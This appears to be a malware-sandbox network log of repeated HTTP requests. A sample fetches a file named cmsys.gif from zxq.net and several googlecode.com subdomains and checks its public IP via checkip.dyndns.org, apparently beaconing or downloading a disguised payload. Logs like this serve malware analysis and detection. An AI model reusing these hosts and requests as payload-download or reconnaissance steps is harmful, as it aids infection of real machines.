Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: zxq.net
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
